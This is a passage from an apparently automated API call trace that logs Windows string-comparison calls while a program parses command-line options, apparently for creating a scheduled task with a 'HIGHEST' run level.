(lpString="m") returned 1 [0089.365] lstrlenW (lpString="m") returned 1 [0089.365] _memicmp (_Buf1=0x21c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.365] lstrlenW (lpString="rl") returned 2 [0089.365] _memicmp (_Buf1=0x21c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.365] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c688 | out: _Buffer="|m|") returned 3 [0089.365] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c688 | out: _Buffer="|rl|") returned 4 [0089.365] lstrlenW (lpString="|m|") returned 3 [0089.365] lstrlenW (lpString="|rl|") returned 4 [0089.365] SetLastError (dwErrCode=0x490) [0089.365] lstrlenW (lpString="i") returned 1 [0089.365] lstrlenW (lpString="i") returned 1 [0089.365] _memicmp (_Buf1=0x21c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.365] lstrlenW (lpString="rl") returned 2 [0089.365] _memicmp (_Buf1=0x21c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.365] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c688 | out: _Buffer="|i|") returned 3 [0089.365] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c688 | out: _Buffer="|rl|") returned 4 [0089.365] lstrlenW (lpString="|i|") returned 3 [0089.365] lstrlenW (lpString="|rl|") returned 4 [0089.365] SetLastError (dwErrCode=0x490) [0089.365] lstrlenW (lpString="tn") returned 2 [0089.365] lstrlenW (lpString="tn") returned 2 [0089.366] _memicmp (_Buf1=0x21c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.366] lstrlenW (lpString="rl") returned 2 [0089.366] _memicmp (_Buf1=0x21c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.366] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c688 | out: _Buffer="|tn|") returned 4 [0089.366] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c688 | out: _Buffer="|rl|") returned 4 [0089.366] lstrlenW (lpString="|tn|") returned 4 [0089.366] lstrlenW (lpString="|rl|") returned 4 [0089.366] StrStrIW (lpFirst="|tn|", lpSrch="|rl|") returned 0x0 [0089.366] SetLastError (dwErrCode=0x490) [0089.366] lstrlenW (lpString="tr") returned 2 [0089.366] lstrlenW (lpString="tr") returned 2 [0089.366] _memicmp (_Buf1=0x21c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.366] lstrlenW (lpString="rl") returned 2 [0089.366] _memicmp (_Buf1=0x21c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.366] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c688 | out: _Buffer="|tr|") returned 4 [0089.366] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c688 | out: _Buffer="|rl|") returned 4 [0089.366] lstrlenW (lpString="|tr|") returned 4 [0089.366] lstrlenW (lpString="|rl|") returned 4 [0089.366] StrStrIW (lpFirst="|tr|", lpSrch="|rl|") returned 0x0 [0089.366] SetLastError (dwErrCode=0x490) [0089.366] lstrlenW (lpString="st") returned 2 [0089.366] lstrlenW (lpString="st") returned 2 [0089.366] _memicmp (_Buf1=0x21c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.366] lstrlenW (lpString="rl") returned 2 [0089.366] _memicmp (_Buf1=0x21c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.366] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c688 | out: _Buffer="|st|") returned 4 [0089.366] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c688 | out: _Buffer="|rl|") returned 4 [0089.366] lstrlenW (lpString="|st|") returned 4 [0089.366] lstrlenW (lpString="|rl|") returned 4 [0089.366] StrStrIW (lpFirst="|st|", lpSrch="|rl|") returned 0x0 [0089.366] SetLastError (dwErrCode=0x490) [0089.366] lstrlenW (lpString="sd") returned 2 [0089.367] lstrlenW (lpString="sd") returned 2 [0089.367] _memicmp (_Buf1=0x21c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.367] lstrlenW (lpString="rl") returned 2 [0089.367] _memicmp (_Buf1=0x21c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.367] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c688 | out: _Buffer="|sd|") returned 4 [0089.367] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c688 | out: _Buffer="|rl|") returned 4 [0089.367] lstrlenW (lpString="|sd|") returned 4 [0089.367] lstrlenW (lpString="|rl|") returned 4 [0089.367] StrStrIW (lpFirst="|sd|", lpSrch="|rl|") returned 0x0 [0089.367] SetLastError (dwErrCode=0x490) [0089.367] lstrlenW (lpString="ed") returned 2 [0089.367] lstrlenW (lpString="ed") returned 2 [0089.367] _memicmp (_Buf1=0x21c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.367] lstrlenW (lpString="rl") returned 2 [0089.367] _memicmp (_Buf1=0x21c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.367] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c688 | out: _Buffer="|ed|") returned 4 [0089.367] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c688 | out: _Buffer="|rl|") returned 4 [0089.367] lstrlenW (lpString="|ed|") returned 4 [0089.367] lstrlenW (lpString="|rl|") returned 4 [0089.367] StrStrIW (lpFirst="|ed|", lpSrch="|rl|") returned 0x0 [0089.367] SetLastError (dwErrCode=0x490) [0089.367] lstrlenW (lpString="it") returned 2 [0089.367] lstrlenW (lpString="it") returned 2 [0089.367] _memicmp (_Buf1=0x21c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.367] lstrlenW (lpString="rl") returned 2 [0089.367] _memicmp (_Buf1=0x21c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.367] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c688 | out: _Buffer="|it|") returned 4 [0089.367] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c688 | out: _Buffer="|rl|") returned 4 [0089.367] lstrlenW (lpString="|it|") returned 4 [0089.367] lstrlenW (lpString="|rl|") returned 4 [0089.368] StrStrIW (lpFirst="|it|", lpSrch="|rl|") returned 0x0 [0089.368] SetLastError (dwErrCode=0x490) [0089.368] lstrlenW (lpString="et") returned 2 [0089.368] lstrlenW (lpString="et") returned 2 [0089.368] _memicmp (_Buf1=0x21c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.368] lstrlenW (lpString="rl") returned 2 [0089.368] _memicmp (_Buf1=0x21c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.368] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c688 | out: _Buffer="|et|") returned 4 [0089.368] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c688 | out: _Buffer="|rl|") returned 4 [0089.368] lstrlenW (lpString="|et|") returned 4 [0089.368] lstrlenW (lpString="|rl|") returned 4 [0089.368] StrStrIW (lpFirst="|et|", lpSrch="|rl|") returned 0x0 [0089.368] SetLastError (dwErrCode=0x490) [0089.368] lstrlenW (lpString="k") returned 1 [0089.368] lstrlenW (lpString="k") returned 1 [0089.368] _memicmp (_Buf1=0x21c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.368] lstrlenW (lpString="rl") returned 2 [0089.368] _memicmp (_Buf1=0x21c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.368] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c688 | out: _Buffer="|k|") returned 3 [0089.368] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c688 | out: _Buffer="|rl|") returned 4 [0089.368] lstrlenW (lpString="|k|") returned 3 [0089.368] lstrlenW (lpString="|rl|") returned 4 [0089.368] SetLastError (dwErrCode=0x490) [0089.368] lstrlenW (lpString="du") returned 2 [0089.368] lstrlenW (lpString="du") returned 2 [0089.368] _memicmp (_Buf1=0x21c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.368] lstrlenW (lpString="rl") returned 2 [0089.368] _memicmp (_Buf1=0x21c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.368] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c688 | out: _Buffer="|du|") returned 4 [0089.368] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c688 | out: _Buffer="|rl|") returned 4 [0089.368] lstrlenW (lpString="|du|") returned 4 [0089.368] lstrlenW (lpString="|rl|") returned 4 [0089.369] StrStrIW (lpFirst="|du|", lpSrch="|rl|") returned 0x0 [0089.369] SetLastError (dwErrCode=0x490) [0089.369] lstrlenW (lpString="ri") returned 2 [0089.369] lstrlenW (lpString="ri") returned 2 [0089.369] _memicmp (_Buf1=0x21c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.369] lstrlenW (lpString="rl") returned 2 [0089.369] _memicmp (_Buf1=0x21c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.369] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c688 | out: _Buffer="|ri|") returned 4 [0089.369] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c688 | out: _Buffer="|rl|") returned 4 [0089.369] lstrlenW (lpString="|ri|") returned 4 [0089.369] lstrlenW (lpString="|rl|") returned 4 [0089.369] StrStrIW (lpFirst="|ri|", lpSrch="|rl|") returned 0x0 [0089.369] SetLastError (dwErrCode=0x490) [0089.369] lstrlenW (lpString="z") returned 1 [0089.369] lstrlenW (lpString="z") returned 1 [0089.369] _memicmp (_Buf1=0x21c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.369] lstrlenW (lpString="rl") returned 2 [0089.369] _memicmp (_Buf1=0x21c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.369] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c688 | out: _Buffer="|z|") returned 3 [0089.369] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c688 | out: _Buffer="|rl|") returned 4 [0089.369] lstrlenW (lpString="|z|") returned 3 [0089.369] lstrlenW (lpString="|rl|") returned 4 [0089.369] SetLastError (dwErrCode=0x490) [0089.369] lstrlenW (lpString="f") returned 1 [0089.369] lstrlenW (lpString="f") returned 1 [0089.369] _memicmp (_Buf1=0x21c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.369] lstrlenW (lpString="rl") returned 2 [0089.369] _memicmp (_Buf1=0x21c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.369] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c688 | out: _Buffer="|f|") returned 3 [0089.369] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c688 | out: _Buffer="|rl|") returned 4 [0089.369] lstrlenW (lpString="|f|") returned 3 [0089.370] lstrlenW (lpString="|rl|") returned 4 [0089.370] SetLastError (dwErrCode=0x490) [0089.370] lstrlenW (lpString="v1") returned 2 [0089.370] lstrlenW (lpString="v1") returned 2 [0089.370] _memicmp (_Buf1=0x21c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.370] lstrlenW (lpString="rl") returned 2 [0089.370] _memicmp (_Buf1=0x21c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.370] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c688 | out: _Buffer="|v1|") returned 4 [0089.370] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c688 | out: _Buffer="|rl|") returned 4 [0089.370] lstrlenW (lpString="|v1|") returned 4 [0089.370] lstrlenW (lpString="|rl|") returned 4 [0089.370] StrStrIW (lpFirst="|v1|", lpSrch="|rl|") returned 0x0 [0089.370] SetLastError (dwErrCode=0x490) [0089.370] lstrlenW (lpString="xml") returned 3 [0089.370] lstrlenW (lpString="xml") returned 3 [0089.370] _memicmp (_Buf1=0x21c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.370] lstrlenW (lpString="rl") returned 2 [0089.370] _memicmp (_Buf1=0x21c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.370] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x11c688 | out: _Buffer="|xml|") returned 5 [0089.370] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c688 | out: _Buffer="|rl|") returned 4 [0089.370] lstrlenW (lpString="|xml|") returned 5 [0089.370] lstrlenW (lpString="|rl|") returned 4 [0089.370] StrStrIW (lpFirst="|xml|", lpSrch="|rl|") returned 0x0 [0089.370] SetLastError (dwErrCode=0x490) [0089.370] lstrlenW (lpString="ec") returned 2 [0089.370] lstrlenW (lpString="ec") returned 2 [0089.370] _memicmp (_Buf1=0x21c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.370] lstrlenW (lpString="rl") returned 2 [0089.370] _memicmp (_Buf1=0x21c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.370] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c688 | out: _Buffer="|ec|") returned 4 [0089.371] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c688 | out: _Buffer="|rl|") returned 4 [0089.371] lstrlenW (lpString="|ec|") returned 4 [0089.371] lstrlenW (lpString="|rl|") returned 4 [0089.371] StrStrIW (lpFirst="|ec|", lpSrch="|rl|") returned 0x0 [0089.371] SetLastError (dwErrCode=0x490) [0089.371] lstrlenW (lpString="rl") returned 2 [0089.371] lstrlenW (lpString="rl") returned 2 [0089.371] _memicmp (_Buf1=0x21c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.371] lstrlenW (lpString="rl") returned 2 [0089.371] _memicmp (_Buf1=0x21c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.371] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c688 | out: _Buffer="|rl|") returned 4 [0089.371] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c688 | out: _Buffer="|rl|") returned 4 [0089.371] lstrlenW (lpString="|rl|") returned 4 [0089.371] lstrlenW (lpString="|rl|") returned 4 [0089.371] StrStrIW (lpFirst="|rl|", lpSrch="|rl|") returned="|rl|" [0089.371] SetLastError (dwErrCode=0x0) [0089.371] SetLastError (dwErrCode=0x0) [0089.371] lstrlenW (lpString="HIGHEST") returned 7 [0089.371] lstrlenW (lpString="-/") returned 2 [0089.371] StrChrIW (lpStart="-/", wMatch=0x48) returned 0x0 [0089.371] SetLastError (dwErrCode=0x490) [0089.371] SetLastError (dwErrCode=0x490) [0089.371] SetLastError (dwErrCode=0x0) [0089.371] lstrlenW (lpString="HIGHEST") returned 7 [0089.371] StrChrIW (lpStart="HIGHEST", wMatch=0x3a) returned 0x0 [0089.371] SetLastError (dwErrCode=0x490) [0089.371] SetLastError (dwErrCode=0x0) [0089.371] _memicmp (_Buf1=0x21d6e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.371] lstrlenW (lpString="HIGHEST") returned 7 [0089.371] lstrlenW (lpString="HIGHEST") returned 7 [0089.371] lstrlenW (lpString=" \x09") returned 2 [0089.371] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0089.371] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0089.371] StrChrW (lpStart=" \x09", wMatch=0x49) returned 0x0 [0089.372] StrChrW (lpStart=" \x09", wMatch=0x47) returned 0x0 [0089.372] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0089.372] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0089.372] StrChrW (lpStart=" \x09", wMatch=0x53) returned 0x0 [0089.372] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0 [0089.372] GetLastError () returned 0x0 [0089.372] lstrlenW (lpString="HIGHEST") returned 7 [0089.372] lstrlenW (lpString="HIGHEST") returned 7 [0089.372] SetLastError (dwErrCode=0x0) [0089.372] SetLastError (dwErrCode=0x0) [0089.372] lstrlenW (lpString="/f") returned 2 [0089.372] lstrlenW (lpString="-/") returned 2 [0089.372] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0089.372] lstrlenW (lpString="create") returned 6 [0089.372] lstrlenW (lpString="create") returned 6 [0089.372] _memicmp (_Buf1=0x21c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.372] lstrlenW (lpString="f") returned 1 [0089.372] _memicmp (_Buf1=0x21c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.372] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x11c688 | out: _Buffer="|create|") returned 8 [0089.372] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c688 | out: _Buffer="|f|") returned 3 [0089.372] lstrlenW (lpString="|create|") returned 8 [0089.372] lstrlenW (lpString="|f|") returned 3 [0089.372] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0089.372] SetLastError (dwErrCode=0x490) [0089.372] lstrlenW (lpString="?") returned 1 [0089.372] lstrlenW (lpString="?") returned 1 [0089.372] _memicmp (_Buf1=0x21c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.372] lstrlenW (lpString="f") returned 1 [0089.372] _memicmp (_Buf1=0x21c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.372] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c688 | out: _Buffer="|?|") returned 3 [0089.372] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c688 | out: _Buffer="|f|") returned 3 [0089.372] lstrlenW (lpString="|?|") returned 3 [0089.372] lstrlenW (lpString="|f|") returned 3 [0089.373] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0089.373] SetLastError (dwErrCode=0x490) [0089.373] lstrlenW (lpString="s") returned 1 [0089.373] lstrlenW (lpString="s") returned 1 [0089.373] _memicmp (_Buf1=0x21c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.373] lstrlenW (lpString="f") returned 1 [0089.373] _memicmp (_Buf1=0x21c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.373] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c688 | out: _Buffer="|s|") returned 3 [0089.373] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c688 | out: _Buffer="|f|") returned 3 [0089.373] lstrlenW (lpString="|s|") returned 3 [0089.373] lstrlenW (lpString="|f|") returned 3 [0089.373] StrStrIW (lpFirst="|s|", lpSrch="|f|") returned 0x0 [0089.373] SetLastError (dwErrCode=0x490) [0089.373] lstrlenW (lpString="u") returned 1 [0089.373] lstrlenW (lpString="u") returned 1 [0089.373] _memicmp (_Buf1=0x21c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.373] lstrlenW (lpString="f") returned 1 [0089.373] _memicmp (_Buf1=0x21c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.373] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c688 | out: _Buffer="|u|") returned 3 [0089.373] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c688 | out: _Buffer="|f|") returned 3 [0089.373] lstrlenW (lpString="|u|") returned 3 [0089.373] lstrlenW (lpString="|f|") returned 3 [0089.373] StrStrIW (lpFirst="|u|", lpSrch="|f|") returned 0x0 [0089.373] SetLastError (dwErrCode=0x490) [0089.373] lstrlenW (lpString="p") returned 1 [0089.373] lstrlenW (lpString="p") returned 1 [0089.373] _memicmp (_Buf1=0x21c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.373] lstrlenW (lpString="f") returned 1 [0089.373] _memicmp (_Buf1=0x21c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.373] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c688 | out: _Buffer="|p|") returned 3 [0089.373] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c688 | out: _Buffer="|f|") returned 3 [0089.373] lstrlenW (lpString="|p|") returned 3 [0089.374] lstrlenW (lpString="|f|") returned 3 [0089.374] StrStrIW (lpFirst="|p|", lpSrch="|f|") returned 0x0 [0089.374] SetLastError (dwErrCode=0x490) [0089.374] lstrlenW (lpString="ru") returned 2 [0089.374] lstrlenW (lpString="ru") returned 2 [0089.374] _memicmp (_Buf1=0x21c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.374] lstrlenW (lpString="f") returned 1 [0089.374] _memicmp (_Buf1=0x21c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.374] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c688 | out: _Buffer="|ru|") returned 4 [0089.374] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c688 | out: _Buffer="|f|") returned 3 [0089.374] lstrlenW (lpString="|ru|") returned 4 [0089.374] lstrlenW (lpString="|f|") returned 3 [0089.374] StrStrIW (lpFirst="|ru|", lpSrch="|f|") returned 0x0 [0089.374] SetLastError (dwErrCode=0x490) [0089.374] lstrlenW (lpString="rp") returned 2 [0089.374] lstrlenW (lpString="rp") returned 2 [0089.374] _memicmp (_Buf1=0x21c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.374] lstrlenW (lpString="f") returned 1 [0089.374] _memicmp (_Buf1=0x21c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.374] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c688 | out: _Buffer="|rp|") returned 4 [0089.374] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c688 | out: _Buffer="|f|") returned 3 [0089.374] lstrlenW (lpString="|rp|") returned 4 [0089.374] lstrlenW (lpString="|f|") returned 3 [0089.374] StrStrIW (lpFirst="|rp|", lpSrch="|f|") returned 0x0 [0089.374] SetLastError (dwErrCode=0x490) [0089.374] lstrlenW (lpString="sc") returned 2 [0089.374] lstrlenW (lpString="sc") returned 2 [0089.374] _memicmp (_Buf1=0x21c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.374] lstrlenW (lpString="f") returned 1 [0089.374] _memicmp (_Buf1=0x21c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.375] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c688 | out: _Buffer="|sc|") returned 4 [0089.375] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c688 | out: _Buffer="|f|") returned 3 [0089.375] lstrlenW (lpString="|sc|") returned 4 [0089.375] lstrlenW (lpString="|f|") returned 3 [0089.375] StrStrIW (lpFirst="|sc|", lpSrch="|f|") returned 0x0 [0089.375] SetLastError (dwErrCode=0x490) [0089.375] lstrlenW (lpString="mo") returned 2 [0089.375] lstrlenW (lpString="mo") returned 2 [0089.375] _memicmp (_Buf1=0x21c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.375] lstrlenW (lpString="f") returned 1 [0089.375] _memicmp (_Buf1=0x21c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.375] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c688 | out: _Buffer="|mo|") returned 4 [0089.375] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c688 | out: _Buffer="|f|") returned 3 [0089.375] lstrlenW (lpString="|mo|") returned 4 [0089.375] lstrlenW (lpString="|f|") returned 3 [0089.375] StrStrIW (lpFirst="|mo|", lpSrch="|f|") returned 0x0 [0089.375] SetLastError (dwErrCode=0x490) [0089.375] lstrlenW (lpString="d") returned 1 [0089.375] lstrlenW (lpString="d") returned 1 [0089.375] _memicmp (_Buf1=0x21c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.375] lstrlenW (lpString="f") returned 1 [0089.375] _memicmp (_Buf1=0x21c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.375] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c688 | out: _Buffer="|d|") returned 3 [0089.375] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c688 | out: _Buffer="|f|") returned 3 [0089.375] lstrlenW (lpString="|d|") returned 3 [0089.375] lstrlenW (lpString="|f|") returned 3 [0089.375] StrStrIW (lpFirst="|d|", lpSrch="|f|") returned 0x0 [0089.375] SetLastError (dwErrCode=0x490) [0089.375] lstrlenW (lpString="m") returned 1 [0089.375] lstrlenW (lpString="m") returned 1 [0089.375] _memicmp (_Buf1=0x21c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.375] lstrlenW (lpString="f") returned 1 [0089.376] _memicmp (_Buf1=0x21c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.376] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c688 | out: _Buffer="|m|") returned 3 [0089.376] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c688 | out: _Buffer="|f|") returned 3 [0089.376] lstrlenW (lpString="|m|") returned 3 [0089.376] lstrlenW (lpString="|f|") returned 3 [0089.376] StrStrIW (lpFirst="|m|", lpSrch="|f|") returned 0x0 [0089.376] SetLastError (dwErrCode=0x490) [0089.376] lstrlenW (lpString="i") returned 1 [0089.376] lstrlenW (lpString="i") returned 1 [0089.376] _memicmp (_Buf1=0x21c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.376] lstrlenW (lpString="f") returned 1 [0089.376] _memicmp (_Buf1=0x21c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.376] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c688 | out: _Buffer="|i|") returned 3 [0089.376] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c688 | out: _Buffer="|f|") returned 3 [0089.376] lstrlenW (lpString="|i|") returned 3 [0089.376] lstrlenW (lpString="|f|") returned 3 [0089.376] StrStrIW (lpFirst="|i|", lpSrch="|f|") returned 0x0 [0089.376] SetLastError (dwErrCode=0x490) [0089.376] lstrlenW (lpString="tn") returned 2 [0089.376] lstrlenW (lpString="tn") returned 2 [0089.376] _memicmp (_Buf1=0x21c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.376] lstrlenW (lpString="f") returned 1 [0089.376] _memicmp (_Buf1=0x21c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.376] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c688 | out: _Buffer="|tn|") returned 4 [0089.376] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c688 | out: _Buffer="|f|") returned 3 [0089.376] lstrlenW (lpString="|tn|") returned 4 [0089.376] lstrlenW (lpString="|f|") returned 3 [0089.376] StrStrIW (lpFirst="|tn|", lpSrch="|f|") returned 0x0 [0089.376] SetLastError (dwErrCode=0x490) [0089.376] lstrlenW (lpString="tr") returned 2 [0089.376] lstrlenW (lpString="tr") returned 2 [0089.377] _memicmp (_Buf1=0x21c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.377] lstrlenW (lpString="f") returned 1 [0089.377] _memicmp (_Buf1=0x21c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.377] _vsnwprintf (in: 